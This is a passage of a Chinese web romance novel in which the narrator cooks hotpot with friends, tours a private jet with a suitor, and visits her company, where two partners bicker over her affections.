我没有回答他的话,而是仔细地琢磨他说过的话,他对颜升的了解程度简直就像是倒背如流似的,越是讨厌他,就越要学?他,让我搞不懂在想些什么。 不过,我也有一点头绪。 鼻尖那股甜腻的可乐气泡气息,不知何时变得浓烈起来,几乎到了无?法?忽视的地步。 而邛浚不知什么时候,已经靠得极近,我低头一看,他的运动鞋,几乎要贴上我的鞋头。 我退后一步。 “既然?这样,你说的伤害。”我说,“对你也是一样吧。” “其实我不介意?你总是有点小心思,但是,你最?近似乎越来越急躁了,迫不及待想要做点什么事,迫不及待想要我看到。” 我想到什么,左手?敲右手?,恍然?大悟说:“这方面也一样啊,什么都想强制分享,忍不住摇尾巴的样子?。” “……” 邛浚看着我,衣领几乎蹭到我的鼻子?,我再?往后退了一步,他才反应过来,也跟着点了点头,语气寻常:“有道理。” “不过像这种程度的解剖,让我有点想吐。” 他扯住卫衣的领口,疑惑地皱着眉头,锤了下胸口,“真的搞不明白,怎么像是被灌了水一样的感觉,沉甸甸的,真的很难受。” “这就是被看穿的感觉吗,还是说——” 他停顿了一下,忽然?,嘴角以一个更大的弧度扬起,眼?睛里迸发出一种奇异的光彩,紧紧攫住我:“还是说心动啊?” “心脏扑通扑通跳个不停,让我又想吐又想笑,简直像是要死掉一样,在我爸死掉、欠债一堆的时候,都没有这么难受啊。” 他自言自语道:“让我有点分不清是在讨厌你,还是在喜欢你了。” 我难道是什么心理医生?吗?都问我为什么。 我把手?放在他的脖子?上,手?掌直接贴在了他脖颈一侧的皮肤上,他僵了一下,但没有躲闪,只是用那双亮得惊人的黑眼?睛,一瞬不移地盯着我。 片刻后,我放下手?,跟着一起思考:“要多快才能猝死来着。” 邛浚:“……我还不会死掉哦。” “但是,”我放下手?,语气平静地陈述,“我现在,确实挺讨厌你的。” “今天你出现在这里,也不是偶然?吧?带着别的目的,或者……又想玩什么把戏?” 他想说什么,但我抬手?制止他,摇头道:“算了吧,别解释了,我不是挺的,这种把戏我已经看腻了。” 邛浚愣神的时候,我从他身边路过,径直往外走去。 手?指尖似乎还残留着他颈侧皮肤的温度和脉搏的颤动,那心跳的频率确实快得异常。 但也就那样吧。 讨厌也好?,喜欢也罢。 今天这场乱七八糟的外出,已经彻底耗尽了我的精力。 我现在,只想立刻、马上、赶紧回家!—— 作者有话说:窝好困啊,窝的小剧场没有了!窝困得闭眼就能睡过去!!!(闭眼) 第97章 我在煮火锅。 因为无事可做, 我决定成为一个顶级大厨。 在我左手边的是助手小浦,右手边的是助手小明,而中间的我作为掌勺大厨,正以科研般的严谨目光, 审视着电磁炉上那口咕噜咕噜、翻滚着猩红油泡的汤锅。 “是不?是该下菜了?” 浦真天手里端着一盘肥牛卷, 弯腰凑近锅面观察, 语气?带着试探:“汤滚得挺凶,应该可以了吧?” 我庄严地?摊开左手,他?立刻会意,十分虔诚地?双手将?盘子奉上, 稳稳放在我掌心。 就在肥牛卷即将?滑入沸腾红汤的前一秒,我脑中灵光一闪,猛地?刹住动作。 旁边浦真天发?出诶声, 犹疑地?问:“还不?行吗?” 我竖起右手,严谨地?左摆右摆:“不?行,还没有到教程里说?的四?分钟。” 他?挠挠脸颊:“其实一般冒泡就行。” “不?行!” 我用专家的眼神盯着他?,严谨地?说?:“说?不?定不?到四?分钟的话会因为水分子跑掉导致没有那么好吃, 总之,我们要严格教程来,上面说?了,这可是顶级大厨的食谱。” 前天网购的销量第一精装食谱, 今天终于到了, 而我兴趣大发?, 召唤栾明和浦真天来一起见证大厨的诞生。 原本还想叫朋友们来的, 但是她们都在上班,不?像我是个大闲人。 此刻在我面前嚣张冒泡的红色汤锅,正是依据《顶级大厨的私人の秘密》, 经过精密称量,50克干辣椒、30克花椒、200克牛油等等,才熬制出的顶级火锅。 整个开放式客厅都弥漫着这股顶级气?味,浓郁得几乎有了实体。 “叮咚。” 栾明手中握着的厨房定时?器发?出清脆鸣响。 “就是现在!”我一声令下,将?肥牛卷潇洒地?挥入锅中,紧接着指挥浦真天,“小浦!把旁边备好的食材,按照荤素顺序,全部倒入!” 一时?间,毛肚、黄喉、鸭肠、虾滑、藕片、土豆、贡菜……纷纷跃入那锅翻腾的、仿佛某种魔法药剂般的红汤之中。 最后由我亲自掌勺,在锅中进行神圣的搅拌仪式。 左搅五十圈,右搅五十圈,力求每一片食材都能均匀沐浴在顶级红汤的洗礼之下。 完成这套大厨必备流程后,我放下长筷,略带疲惫又充满成就地?叹了口气?,擦了擦根本不?存在的汗,模仿着电视里那些大师的模样,带着云淡风轻的满足感,脱下了手套和围裙。 栾明默默地?重新?设好定时?器。现在,我们只需等待最后的三分钟,顶级盛宴便可开启。 总之,顶级! 咕噜。我敏锐地?听到了有人的肚子在叫。 浦真天摸着后脖颈,不?好意思?地?说?:“今天早上吃得比较少?。” 我颇为有经验地?讲道:“小浦啊,工作不?要太努力了,赚多少?就做多少?事,相信我,我是过来人。” “我也没有很努力……但是为了房子,应该更?努力一点才行。” 我:“你都瘦了,听我多吃两?口。” “好吧。”浦真天唉声叹气?,捏了下肚子。 之前他?说?自己是易胖体质,需要严格控制体重,当了模特之后,公司会要求他?们记录体重和身高,那些品牌商会详细地?筛选。 “那些电竞选手好像就不?用管理体重,”我想了想,得出结论,“还是当电竞选手好。” “现在去的话,太晚了。” 浦真天认真地?说?:“我上次去看了,青训体系要求要从16岁开始培养,我已经达不?到要求了。” 他?脸上浮现出一丝感慨,视线越过蒸腾的火锅白?烟,望向对面的栾明,“时?间过得真快啊……明子,咱们认识有二十多年了吧?” “你还记得吗?第一次见面,我疯跑摔了一跤,门牙直接磕掉了,就掉在你面前,血糊糊的,把你当时?吓得愣在原地?,话都说?不?出来。” 栾明笑了下,拿起桌上的饮料倒进我的杯子里。 “记得,当时?你总是捏泥巴,看上去很脏。” 浦真天也跟着笑,调侃道:“我还嫌弃你太干净了呢。” 我左看右看,举起手:“那我呢?” 栾明看向我,眼神温和地?飘远了些,“你不?喜欢晒太阳,一出来就闹,也不?喜欢人抱你,最好把你放在床上,只让你自己躺着,谁靠近你,你就打哈欠,有时?候我想抱你,还总会被妈妈骂。” 他说的有些停不下来,微微弯起眼睛,陷入了更?深的回忆里,声音不?自觉地?放轻。 “也不?知道什么时?候,你终于让我抱了,那天你的手抓着我的手指,我捧着你,一动都不?敢动,我很高兴……妈妈也是。” 但从我脑海里蹦出的却是另一副画面。 在记忆里母亲的脸上露出是复杂的、难以接受的神情。 她笑过吗?人真是奇怪啊。 “我还记得呢。” 浦真天忍不?住说?:“我第一次隔着窗户看到你,还挺害怕的。你总是睁着一双乌溜溜的大眼睛,安安静静地?看来看去,像个特别逼真的玩偶娃娃,那时?候我刚偷看完恐怖片,最怕的就是那种眼睛会动的娃娃了。” “然后呢?”我听得津津有味,甚至想磕点瓜子。 “然后……”浦真天苦笑了下,“我就很少?去了。” “为什么?” “因为栾阿姨不?喜欢我。” 看他?低头苦恼的模样,我拍拍胸口,说?:“没事,我们喜欢你。” 栾明只是笑了笑,没接话。 桌上的定时?钟报时?,我拿起筷子,宣布午饭终于在接近三点的时?候开始。 我尝了两?口就开始走神,吃饭什么的,拿起手机,准备看点短剧。 最近这几天,我的手机十分地?安静,自从少?了颜升和邛浚两?人,整个世界安静不?少?。 他?们或许在角落里偷偷哭泣吧! 不?知道他?们哭起来是不?是也是一样的。 我的视线在浦真天和栾明之间来回扫了扫。 我亲眼见过流泪的人,至今也就栾明、泉卓逸,还有那个消失许久的麦景。 麦景已经很久没消息了,泉卓逸也像被禁言了似的,只偶尔发?来几句没头没尾的问候。 于是我抬眼,问浦真天:“你知道泉卓逸在做什么吗?” “他?……” 浦真天放下筷子,迟疑地?说?:“应该是在忙工作吧。听说?他?们家公司刚把部分业务迁到H市,正是需要人的时?候,他?估计脱不?开身。” “我还以为他?被泉越泽关起来了。” 说?起泉越泽,这个家伙现在都没给?我打钱,难不?成泉卓逸被他?直接回收了,所以打算赖账,不?给?我赔付? 我想了想,拿起手机给?泉卓逸发?了个你在干嘛的消息。 对面回复得极快,几乎下一秒,消息就弹过来了。 [泉卓逸(1.7)]:怎么了?有什么事要我做吗? 果然,这家伙还是在我这边的。 [世界第一恶魔大人]:你哥在你旁边吗? [泉卓逸(1.7)]:…… [泉卓逸(1.7)]:为什么要问他?? 这反应……到底在还是不?在?要是在,我一定要气?到他?才行。 [世界第一恶魔大人]:吃饭了,下次聊 刚准备放下手机,忽然弹出了新?的消息。 [宗伟朔大]:等待老板视察的第10天 [宗伟朔大]:等待好友上线的第3天 [世界第一恶魔大人]:知道了,等会就上线 [宗伟朔大]:第一个更?重要吧,十天没见了,你就不?担心我跑路吗?捐款跑路给?你留个公司壳子,一路亏到负债 [世界第一恶魔大人]:?! [世界第一恶魔大人]:我就知道是陷阱! [宗伟朔大]:不?会跑路的,但是总要来一趟吧,要不?然我亲自上门拜访也行 [世界第一恶魔大人]:别着急,我有自己的节奏 至于什么时?候去公司? 嗯……家里实在太舒服,我有点乐不?思?蜀了。 栾明往我的杯子里又倒了点水,视线落在我的手机上:“有工作上的事吗?” “不?算吧。”我放下手机,咬住筷子,“工作已经很久没找我了。” 自从上次的综艺播出,似乎惹了不?少?麻烦,总之现在车千亦已经忙到吐了,上次给?她发?消息,她甚至是凌晨回复的。 可是我本人都没事,经纪人却忙得不?像话,我也有点搞不?懂到底谁是明星了。 要不?然,下次再休假一次吧? “车女?士很尽责。”栾明说?,“可能和最近公司的年末财务核算有关,会比较忙。” “你怎么知道?” “新?闻。” 他?简短地?说?:“最近的娱乐公司都在进行年末报表,你们公司也是,毕竟是大公司。” 他?顿了顿,抬眼看向浦真天:“你呢?最近也忙?” 浦真天愣了一下,先看了我一眼,才点点头:“嗯,差不?多,年底了,各种活动、总结都多。” “原来是这样。”我摸了摸下巴,恍然大悟,“怪不?得霍亦瑀也说?最近特别忙。” 话音落下,饭桌上出现了几秒奇异的沉默。 浦真天看向栾明,而栾明垂下眼睫,目光落在依旧微微翻滚的火锅红汤上,旁边的定时?器突然又“叮咚”响了一声,在安静中格外刺耳。 他?转过头,抬手将?放在旁边的表按停,低声说?:“忘记关了。” “叮咚。” 又响了,但这次是门铃。 栾明抬眼看向我。 而浦真天也是,好几秒后,他?才反应过来,率先一步起身,说?:“我去开门。” 在门打开之前,我没有嗅到任何外来者的气?息。 火锅味和微涩的柠檬气?息交织在一起,形成一层厚重的感官屏障,掩盖了其他?一切,我的胃里暖洋洋的,情感像巧克力一样融化?着。 “小冬,喜欢花吗?” 栾明的视线落在桌上的即将?凋谢的花上,上次颜升送的,最近也该丢掉了。 “还好。”我说?。 我对这类植物没有其他?看法,好看是好看,但是有没有都不?影响。 “不?如种在院子里。”我随口提议。 我刚说?过完,一阵风吹来,传来浓郁的酒味,穿越气?味的屏障,存在感十足。 我转头看去,直直对上了霍亦瑀的视线。 栾明也同时?转过头。 两?人对视在一起,空气?显得格外安静,火锅还在咕噜噜地?响。 是不?是该关火了。我低头看了眼。 浦真天站在霍亦瑀身后半步的位置,不?知为何,他?下意识地?握紧了拳头,身体绷得像一根拉紧的弦,连呼吸都显得小心翼翼。 确定火没事后,我看向霍亦瑀:“你怎么来了?” ““忘了?”他?微微一笑,带着点无奈,“供应商那边在催了,我们得去看看成品,顺便把停放它的私人机场定下来。” 飞机!我的私人飞机!怪不?得前几天有个陌生号码总加我,我还当是诈骗信息给?忽略了。 看来今天不?得不?出去一趟了。 有了私人飞机,下次我就能随时?飞去地?球另一端,找个没人认识我的海岛瘫着晒太阳,对了,还得发?朋友圈。 差点忘了炫富这茬。 我立刻高兴起来,起身走到他?身边:“那我们现在就走?” 他?低头看向我,勾起唇角笑了下,颇为无奈地?说?:“出去前还是换身衣服吧,你现在是火锅味的,虽然我很喜欢,不?过衣服上沾上油点了。” 我低头看向胸口,不?知道什么时?候竟然沾上了油,我不?是穿了围裙的吗,围裙呢? 我猛地?转头,目光锐利地?在栾明旁边看到了被叠得整整齐齐的围裙。 栾明愣了下,解释道:“刚才你脱下来……我忘记提醒你穿上了。” 都怪那本《顶级大厨的私人の秘密》,最后示范图上,大厨就是脱了围裙,姿态潇洒地?品尝成果!吃火锅怎么能不?穿围裙?! 栾明抿了下嘴,浑身浮现出若隐若现、难以捕捉的黑线,但仿佛是抽帧的瞬间,那些黑线全部不?见了。 他?沉默地?起身:“我去帮你拿新?衣服。” 他?走向衣帽间。 霍亦瑀的目光追随着他?的背影,语气?听不?出什么情绪:“你的衣服也是他?帮你收拾整理?” “对啊。”我理直气?壮,“他?还帮我洗衣服呢。” “你哥哥倒是辛苦。” “他?不?辛苦,”我纠正他?,“他?喜欢做这些。” 霍亦瑀几不?可闻地?勾了下唇角,视线转向旁边一直沉默不?语的浦真天,声音平淡:“那这位浦先生呢?他?平时?帮你做什么?” “他?来吃饭啊。”我觉得这问题有点莫名其妙。 霍亦瑀看了一眼桌上那锅丰盛到几乎满出来的火锅,淡淡地?嗯了一声。 等栾明从房间里出来。 “去换衣服吧。”他?说?,“我在外面等你。” 我接过外套,跑进卧室。 换好衣服后,我又兴奋地?拿出手机,翻出收藏夹里那些炫富博主的文案和拍照角度,开始紧急研究,文案是灵魂,图片嘛,随便拍两?张吧。 再回到客厅是,客厅的强力换气?扇已经打开,发?出低微的嗡嗡声,迅速抽走满屋的火锅蒸汽,冷气?弥漫开来。 浦真天还坐在餐桌旁,姿势有些僵硬,栾明和霍亦瑀则面对面站在客厅中央,一个脸上没什么表情,另一个嘴角噙着惯常的、浅淡的笑意。 门开的瞬间,三道视线齐刷刷地?聚焦在我身上。 我走近时?,霍亦瑀自然地?伸手揽住我的肩膀,低头嗅了嗅:“现在只有洗衣液的清香了。” 我也凑近他?闻了闻,在他?的西装外套上,捕捉到一丝残留的、淡淡的火锅底料气?味。 幸好我吃情感的时?候,没有人可以闻到,要不?然走到哪里,就有人知道我吃了什么。 “你哥哥,比最专业的贴身助理还好用。” 霍亦瑀抬眼看向对面的栾明,轻笑了一声,“五年没见,没想到会在这个时?候重新?出现。” “只是到了该回来的时?候而已。”栾明冷淡地?回答,随即看向我,嘴角很勉强地?扯出一个安抚的弧度,“早点回来。” “走吧。” 霍亦瑀按着我肩膀,表情波澜不?惊:“那边已经在等我们了。” 等上了车,我回味着刚才那微妙又紧绷的气?氛,转头对霍亦瑀说?:“你们好像很熟的样子。” “只是聊了两?句怎么看出来的?” 霍亦瑀低笑,抬手松了松领带,“不?会是因为他?表现得太明显了吧?你哥哥真是个……不?太会掩饰情绪的人,或者说?,他?觉得在我面前,根本没有掩饰的必要?” “不?过,我也不?在乎这些事。” 他?忽然转向我,手指轻轻捏了捏眉心,叹了口气?说?:“最近很忙,我有点心力交瘁了,需要补充能量了。” 他?盯着我,眨了眨眼,近距离看,他?眼下那层淡淡的青色黑眼圈愈发?明显,只是那双浅色眼睛过于吸引注意力,让人容易忽略脸上其它地?方?。 好吧。我张开手臂。 他?顺势揽住我的腰,将?额头轻轻靠在我颈窝处,发?出一声近乎舒适的叹息。 因为扣子硌人,他?解开了外套。 “为什么报表会弄这么久?” 我好奇地?玩着他?打理得一丝不?苟的头发?,发?胶让它们摸起来硬硬的,我试图把一小撮立起来,做成微型天线。 轻微的触感落在颈侧,仿佛带着电流的声音响起,听得人耳朵痒痒的。 “因为总有些麻烦,解决不?完。” 说?话间,他?调整坐姿,呼吸打在锁骨上,困倦地?闭上眼:“之前就有人捣乱,现在来的乱子更?多了。” “真是群拥而上,等不?及想要制造混乱啊。” “我那天看到黎鸶了。”我说?。 他?立刻抬起头,浅色的眼眸在车窗透入的光线下,虹膜的纹路都清晰可见,阳光让他?的瞳孔微微收缩,像猫科动物一样。 他?问:“他?说?什么了?” 想到这个我就忍不?住称奇,不?是很想回答,于是转头问:“他?为什么和你姓氏不?一样?” 霍亦瑀淡淡地?说?:“他?改名了,在母亲去世后,他?不?知道发?了什么神经,对外宣称自己叫做黎鸶,他?爸还以为是我做的。” “他?肯定是随便起的。” 我再次评价:“好难听的姓名。” “他?的确没什么品味。”霍亦瑀附和,手指无意识地?整理着我外套的衣领,“所以,他?跟你说?什么了?” “他?做出一副我很难闻的样子。” “……是吗。” 霍亦瑀的动作微微一顿,随即低声说?:“那下次直接打回去吧。” “下手不?要太轻。” 上次被邛浚阻止,听说?他?练过拳击,那我也左勾拳右勾拳好了。 脑海里浮现出“K.O”的胜利结算画面时?,没想到下一秒,幻想就照进了现实。 就在大厅里,就在霍亦瑀转身和经理交谈的时?候,黎鸶侧面装饰柱后的阴影里走了出来,后面还跟着穿着制服的人。 “好久不?见啊,上次跑那么快,是因为害怕见到我吗?” 黎鸶咧开嘴,露出一个堪称恶劣的笑容,让他?本就阴郁的气?质更?添了几分反派色彩。 他?随意扬手,一个黑色文件夹像暗器一样直直射了过来。 霍亦瑀稳稳地?接住,往我前面走了一步。 “这个时?候还敢离开公司。”黎鸶歪了下脖子,露出极其嘲讽性的表情:“是以为我是吃素的吗。” 旁边的经理有些犹豫:“霍先生,现在——” “你们先去参观吧。” 霍亦瑀随手将?那个文件夹像丢垃圾一样扔在地?上,甚至用锃亮的皮鞋漫不?经心地?踩了一脚,连同对面的人也一起无视了。 而黎鸶的脸色瞬间阴沉,他?抬手摸了摸自己脖颈上那道刺眼的环形疤痕,眼神不?善。 “好、好的。栾女?士,请跟我这边来。”经理镇定地?点点头,连忙对我做出邀请的手势,经过黎鸶身边时?,步伐加快了些。 我能理解,毕竟他?真的不?像个好人。 再次经过时?,他?瞥我一眼,眉头微蹙,喉结上下滚动,仍然是一副十分不?适的,但这幅模样比起刚才面对霍亦瑀,明显是生理性的。 我更?不?理解了。 难不?成他?是被上帝赐福的人类吗?为什么一副不?能接受的模样? 不?过,这就说?明他?很怕我。 我转念一想,瞬间不?生气?了,他?见我就像老鼠见了猫,我才不?气?呢。 私人飞机的内部比图片上看起来还要奢华。 铺上柔软的长绒地?毯,配上那个宽敞的沙发?床,简直能直接住进去。 我在经理的专业介绍下愈发?陶醉,拍了好几张手握香槟杯、背景是机舱舷窗的炫富标准照。 当镜头无意中对准手里的杯子时?,我忽然觉得这个拍摄角度异常眼熟。 这不?就是柯觅山最喜欢拍的角度吗? 我还记得没打脸他?这件事,没想到吧,过了五年我已经是拥有私人飞机的成功人士了! 我拍了张照片,得意地?发?给?他?。 还没等他?回复,我又用满屏的^^试图表达更?强烈的嘲讽。 [柯觅山(还没打脸)]:^^ [柯觅山(还没打脸)]:学妹,讨厌到这个地?步,你是不?是早该把我删掉了? [世界第一恶魔大人]:你心情不?好? [柯觅山(还没打脸)]:…… [世界第一恶魔大人]:你要是讨厌我的话,是不?是早该把我删了? 对面没有回复,看来是破防了。 平心而论,到现在为止,柯觅山反而显得没那么讨厌了。至少?他?提供的“情绪价值”很稳定,随便戳一下,就能得到有趣的反应。 我放下手机,又欣赏了一会儿机舱内的真皮座椅和实木饰板,才心满意足地?跟着经理返回大厅。 霍亦瑀和黎鸶还站在原地?,气?氛比之前更?加凝滞。 黎鸶的脸色难看到了极点,嘴角却勾着一抹嘲讽的笑意,注意到我回来,他?顿了一下,生硬地?把视线移向别处。 “看好了?”霍亦瑀收回目光,脚下那个文件夹不?知何时?散开了,纸张凌乱地?铺在地?上。 我点点头。 “那我们回去。”他?说?。 再次经过黎鸶身边时?,他?身体几不?可察地?绷紧了,似乎想后退,但最终钉子一样站在原地?。 我又一次对上了他?瞥过来的视线。 这人到底在搞什么? 他?咬住后槽牙,眉头紧蹙,手握成拳头挡在面前。 就在我们即将?错身而过的瞬间,我猛地?抬了一下手,做出一个要拍他?肩膀的假动作。 看招,偷袭! 黎鸶反应极大地?向后弹跳了好几步,动作快得带起一阵风,他?身后那两?个人也猝不?及防,下意识地?向两?旁闪开,脸上都带着惊愕。 黎鸶的手猛地?捂住自己脖子上的疤痕,猛地?吞咽唾液,像是在忍耐着什么,脸色奇差无比。 看来他?真的很怕我。 我用手指着自己的眼睛,又转而指向他?,得意地?做了个鬼脸。 他?果然睁大眼睛,一副反应不?过来的模样。 离开时?,地?上散落的文件被他?身后的人蹲下捡起,而他?停留在原地?,仍然摸着脖子。 “他?的脖子看上去有酷。”我评价道。 霍亦瑀笑了笑,没说?话,只是拿出手机看了一眼,平静地?说?:“我等下得回公司处理点急事,司机先送你回去。” 他?补充道:“这几天,先回我们那边住吧。” “上次我重新?清理了一遍,放了你喜欢的东西。” “什么好东西?” 他?:“你回去就知道了。” 霍亦瑀很喜欢搞惊喜,不?过每次都很符合我的心意。 我想想,就跟出去旅游一样,住哪里都一样,所以给?栾明发?了消息,说?今天不?回去了。 他?很快回复,只有一个好字。 等他?离开了,司机载着我往别墅区走,但我中途想起一件事,又叫停了他?。 既然出来了,那就去视察下公司吧。 司机从后视镜里看了我一眼,似乎有些意外,但还是点点头,在下个路口平稳地?调转了方?向。 车子汇入主干道的车流,然后,缓缓地?停了下来。 前面,一眼望不?到头的红色刹车灯连成了片。 堵车了—— 作者有话说:想停止熬夜的我已经停不下来了,咱就是说,这个拖延症真的有必要存在吗,给我滚啊,岂可修! 又看了眼大纲,我的天呐,咋还有这么长,窝的错,窝还得再努力努力,还有七章来个大的(大的) 想写那个小剧场的,但是好像没啥写的,等爆了我再来小剧场[猫爪] 第98章 刚到下班时间, 现?在堵车也是合情合理。 我撑着下巴,在车里百无聊赖地刷着手机,司机像在操控一条巨大毛毛虫,缓慢蠕动在车流的缝隙里艰难前行。 闲着也是闲着, 我久违地点开了超话, 然后?刷到好几条带着怨气的动态, 因为我太闲,他们觉得工作室是吃白饭的,正在为我抗议。 自拍和日常更新都是车千亦在打理,距离我上次亲自登号, 仿佛已过去一个世?纪。 其实我也在想?工作的事,因为栾明在家里啃小,他还没见过我上班的样子, 下次去上班,我要把他带上,让他见识见识成功人士的工作风范。 我正想?着。 汽车开始像毛毛虫似的蠕动,而旁边车道忽然传来一阵嚣张的引擎轰鸣。 一辆线条流畅的黑色摩托车, 嗖地一声?从停滞的车流缝隙中窜了出?去,车尾灯划出?一道耀眼的红色弧线,转眼消失在视野尽头,只留下渐行渐远的嗡鸣声?。 真好啊。要是有能变形的车就好了, 堵车时直接变成直升机或者钻地机。 再不然, 直接有翅膀也行。 或许等下次开大型演唱会, 就能将身体修复完。 我有种模糊的预感, 只需要一场能量足够充沛的盛宴,在时空裂缝里的身体就能被彻底修复。 而且,我还有个更清晰的预感。 这个冬天一定会很有趣。 现?在还在漫长的、秋天的尾巴, 天气好得不像话,只有一丝丝的凉意,让人知道冬天的接近。 车子终于龟速挪到了公司楼下。 我下车,在上次见过的女士的笑容中走进电梯,她刚按下关门键,一只戴着黑色机车手套的手突然伸进来,有力地挡住了即将合拢的电梯门。 接着,一个戴着全罩式头盔、穿着修身黑色机车夹克的高挑身影迈了进来,带进一股吹过风的冷气。 女士愣了一下,旋即礼貌地点头微笑,侧身走了出?去,把空间留给我们。 电梯门缓缓关上,轿厢里只剩下我和这个不速之客。 他像根沉默的柱子,杵在电梯角落,一动不动,头盔的深色防风镜片一片漆黑,完全看不到里面的眼睛。 但我知道他是谁。 那?股浓烈到近乎甜腻、仿佛融化了的黑巧克力般的气息,正锲而不舍地钻进我的鼻腔。 说不定我有乌鸦嘴,想?到谁,说到谁,谁就会出?现?在面前。 以后?我应该多想?想?钱的事。 今天下午才提到过的人站在正站在我面前,像根木桩子似的站着不动,大概是在装酷。 五年了,麦景爱装的毛病还没治好。 电梯平稳上升,数字跳动。他终于有了点动静,解开手上的黑色机车手套,将它们紧紧攥在手里,指节因为用力而微微发白。 难不成是在玩什?么木头人吗? 我瞥了他一眼,打算悄无声?息地挪到他身后?,然后?吓他一跳。 结果在我迈步的那?一刻,他瞬间转过头,黑漆漆的头盔对着我,光滑的黑色镜面,清晰地映出?我此刻有点蠢蠢欲动的身影。 “麦景。” 我先一步说:“你在干什?么?” 穿着夹克的身影僵了一下,半晌,他抬起?手,抓住了头盔两侧,随着咔哒一声?轻响,头盔被摘了下来。 他微微偏着头,露出?那?张白得有些过分的脸。 在深色夹克的衬托下,那?肤色简直像是在发光,略长的发丝湿漉漉地贴在额前,有些凌乱地遮挡住了小半张脸 他抿了抿唇,犹豫地看了我一眼,眼神飞快地飘向?别处,声?音有点干:“我……忘记摘头盔了。” 他说:“好久不见,小冬。” 我疑惑地问:“这也能忘?你感觉不到眼前是黑乎乎的吗?” “嗯。” 他点点头,仍然偏着头。 我的视线落在他刻意偏侧的那?边。过长的刘海变成了斜刘海,严严实实地盖住了右眼周围。 注意到我的目光,他好像更不自然了,脖子再次侧过去一点。 我靠近,他后?退,我再靠近,他再后?退。 我盯盯盯,努力想?看他到底在躲什?么。 但他一直躲,最后?开门的时候,我已经将他堵在角落里。 他瑟缩在金属轿厢的夹角,被迫仰起?头,干巴巴地提醒:“小冬……门,门开了。” 我转头。 只见办公室门口,宗朔反坐在一张带滚轮的办公椅上,双臂交叠搭在椅背,下巴懒洋洋地搁在上面。 视线对上的瞬间,他孤零零地、慢悠悠地鼓了几下掌,呱唧呱唧几声?后?,懒散地说:“欢迎老板视察。” 走出?电梯,我狐疑地目光在宗朔和麦景之间来回扫射。 “你们俩为什么在一起?”我问,“之前怎么没听?你提过麦景?” “因为他不愿意出?来呗。” 宗朔捧着杯子,双脚在地面一蹬,椅子带着他滑回办公桌前。 他瞥了麦景了一眼:“你开摩托来的?刚好堵车了,是个不错的选择。” 我抢走他手里的杯子,在办公桌后?坐下,猛地拍下桌子,指向?还杵在原地、不知所措的麦景。 “从实招来,你为什?么会出?现?在这里。” 如?果真的是个陷阱,我一定要把宗朔从顶楼推下去。 宗朔耸了下肩膀,困倦地打了个哈欠,语调依旧懒散:“看吧,我早说了。她不会在意那?些细枝末节,只有你一个人在那?里纠结个没完。” “……” 麦景沉默着,将头盔夹在臂弯里,露在外面的那?只左眼,一眨不眨地看着我。 “说吧。”我看了眼又开始打哈欠的宗朔。 他接收到我的目光,只是无奈地耸耸肩,一副我也拿他没办法的样子。 我举起?三根手指,严肃地说:“我保证我绝对不会说出?去。” 麦景没动。 我赶紧补充:“也不会在意!” 听?到这句话,麦景抿了下唇,低垂着头,过了会才抬起?手,撩开覆盖着右眼的头发。 一道竖直的、颜色比周围皮肤略浅的疤痕,赫然出?现?在他右眼正中,从上眼睑几乎延伸到颧骨。 疤痕不算特?别狰狞,但位置实在扎眼。 但他的眼睛还是好的,眼白出?奇的白,显得眼睛更黑了。 像是被冷到似的,他迅速收回手,低下头,犹豫地说:“上次去看了医生,他说国外才有完整去除疤痕的技术,下次我会弄掉的,小冬……不要嫌弃我。” 我朝他招了招手,麦景脚步没有任何迟疑,很快来到我面前。 他半蹲在我面前,维持着一个仰视我的姿态。 当我伸手时,他想?往后?缩,但还是停住了。 我撩开头发,用手指触碰这条疤痕。 触感嘛……像是一条毛毛虫,按下的时候,他的眼睛不安分地在眼皮下动弹着,另一个眼睛看着我,温热的呼吸扫过手腕。 “挺酷的。”我说。 他愣了下,扬起?笑,然后?将头贴在我的手心,像是只大型犬似的,蹭着我的手心。 “我是不是该出?去了?” 旁边传来慢悠悠的声?音,宗朔不知何时给自己倒了杯水,视线在麦景身上蜻蜓点水而过,最后?落在我身上。 他轻飘飘地说:“尊重下三个人的场合吧。” “你可?以出?去的。” “好吧。”宗朔叹了口气,坐回原位,“但是我不想?走。” “你可?以继续,我在旁边看着也没事。” 他若无其事地说:“需要我教他吗,我可?以提供任何场外援助,你要是觉得他不行,踢开,让我来也是可?以的。” “你好像在想?什?么糟糕的事情。” 我拍了下麦景的头,他抬头看着我,等待着下一步指令。 我说:“你还没有回答我的问题。” “……” 麦景将下巴轻轻搁在椅子扶手上,这个姿势让他看起?来放松了一些。 他缓缓开口:“我们是合作伙伴,宗朔负责公司,我负责后?面的事,他主要负责洗白资金——” “喂喂喂,不用这么详细吧。” 宗朔无语地打断,又叹了口气,他看着我,摸了摸下巴,啧了声?说:“总之,就是互利互惠的合作伙伴的关系。” 我敏锐地说:“你违法了吧。” 不知道为什?么,我总觉得他会入狱,监狱两个字已经在冥冥之中和他联系在一起?。 “没有啊。”他挑起?眉,“没有法律规定不能合作吧?你放心,只要你来视察,这个公司是不会垮掉的。” 他瞥了眼麦景,“他做的那?些事才是违法的。” “……我现?在已经不再做了。” 麦景冷硬地重申道:“目前经手的,都是正常商业范畴内的人情往来和信息交换。” 宗朔短促地笑了一声?,转向?我:“你信吗?” 我摸了摸下巴,作势思考。 麦景依然半蹲在我旁边,身体似乎比刚才绷得更紧了些,那?只露在外面的左眼,正一眨不眨地、带着某种近乎恳切的迫切,紧紧锁着我的视线。 片刻的沉默后?。 “信。”我说。 麦景松了口气,握着扶手的手指松开,抿着的唇也松开了。 “小宗。”我摆出?老板架势,挥了挥手,“把文件呈上来,我要看你到底有没有偷懒。” 宗朔忍俊不禁,随手从桌上捞起?一沓装订好的文件,像丢飞盘一样轻巧地滑到我面前。 “等着你呢,昨天晚上打印的。” 白纸上写着各种文字和数字,仿佛天文般,我认真地看了看,一个字也没看进去。 这是我的欺诈法,他敢拿给我,就说明他是真的赚了钱。 于是我又挥挥手,煞有介事地点头道:“不错,不错。” “满意了吗?” “满意吧。” 他却忽然顶了下腮帮,眯起?眼睛,收起?了些懒散的神情,直白地说:“既然满意,那?就多来几次吧,多跟我说说话,至少……不要再这么久。” “你想?我了?” “嗯。”他坦然承认,看着我说,“想?了。” “好吧。” 于是我向?他伸出?手,他看着我,挑起?一侧眉,我又挥了挥手。 他这才无奈地叹了口气,绕过办公桌走到我面前,握住我伸出?的手。 力道有点大,但下一秒他就自己松开了,转而轻飘飘地瞥了还蹲着的麦景一眼,意有所指:“虽然是合作伙伴,但我也是会不爽的,下次,你可?以考虑坐在旁边的沙发上。” 麦景仿佛没听?见,完全将他的话当成了空气。 “真烦啊。”宗朔抓了下头发,略显烦躁地说,“我真的讨厌和人合作。” 